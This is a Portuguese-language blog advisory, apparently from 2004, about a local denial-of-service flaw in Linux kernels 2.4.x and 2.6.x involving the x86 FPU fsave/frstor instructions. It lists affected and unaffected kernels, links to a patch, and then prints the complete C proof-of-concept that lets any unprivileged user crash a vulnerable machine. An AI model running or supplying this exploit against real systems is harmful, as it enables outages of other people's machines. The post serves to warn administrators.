Falha cr?tica no Kernel do Gnu/Linux.

  • Post author:
  • Post category:Sem categoria

Segundo a fonte do alerta, o problema se manifesta quando o codigo em
questao e’ compilado com o GCC versoes 3.0, 3.1, 3.2, 3.3 ou 3.3.2, e
e’
executado em sistemas rodando o kernel do Linux nas versoes 2.4.2x ou
2.6.x em arquitetura x86. Sistemas utilizando os processadores AMD64
tambem podem ser afetadas.

O problema se torna mais serio devido ao fato do usuario que compila e
executa o programa nao necessitar ter acesso privilegiado ao sistema.
Assim, qualquer usuario que tenha acesso a um shell no sistema podera
causar o travamento da maquina.

Sistemas afetados:

Sistemas utilizando os seguintes kernels foram testados e sao
comprovadamente vulneraveis:

. Kernel Linux 2.6.x
. 2.6.7-rc2
. 2.6.6 (vanilla)
. 2.6.6-rc1 SMP
. 2.6.6 SMP
. 2.6.5-gentoo
. 2.6.5-mm6
. 2.6.5 (fedora core 2 vanilla)
. Kernel Linux 2.4.2x
. 2.4.26 vanilla
. 2.4.26, grsecurity 2.0 config
. 2.4.26-rc1 vanilla
. 2.4.26-gentoo-r1
. 2.4.22
. 2.4.22-1.2188 Fedora FC1 Kernel
. 2.4.18-bf2.4 (debian woody vanilla)
. Kernel com patches grsecurity
. Kernel 2.5.6 SMP
. Kernel 2.6.6 SMP do Linux.

Alem disso, outras versoes de kernel da serie 2.4 e 2.6 podem ser
afetadas
por esta vulnerabilidade.

Sistemas *nao* afetados:

O codigo malicioso nao causa qualquer estrago e termina exibindo a
mensagem de erro “Floating point exception” nos sistemas rodando as
seguintes versoes de kernel:

. Linux nudge 2.6.5-1um i686 (o kernel do User Mode Linux) Dylan
Smith
. Linux Kernel 2.6.4 SMP com o patch staircase scheduler Guille
aplicado
. Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
. Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
. Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
. 2.2.19-kernel
. kernel 2.6.5-1um do User Mode Linux. E’ possivel que outras
versoes de kernel do User Mode Linux tambem o sejam.

Correcoes disponiveis:

Para corrigir o problema recomenda-se a atualizacao do kernel e
aplicacao
de um patch para o kernel utilizado, de acordo com o que esta descrito
em:

http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Mais informacoes:

.. New Kernel Crash-Exploit discovered
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Abaixo segue o c?digo fonte do progrma escrito em C:

/* ——————–
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
* Original proof of concept code
* by [email protected]_nixia.no.
* Added some stuff by [email protected]_gnu.org
* and fixed the fsave line with (*fpubuf).
* ——————–
*/

/*
———
Some debugging information made
available by [email protected]_nixia.no
———
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include
#include
#include

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ (“fsave %0\n” : : “m”(fpubuf));
__asm__ __volatile__ (“fsave %0\n” : : “m”(*fpubuf));
write(2, “*”, 1);
__asm__ __volatile__ (“frstor %0\n” : : “m”(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, “.”, 1);

return 0;
}
// < As administradores de rede um alerta.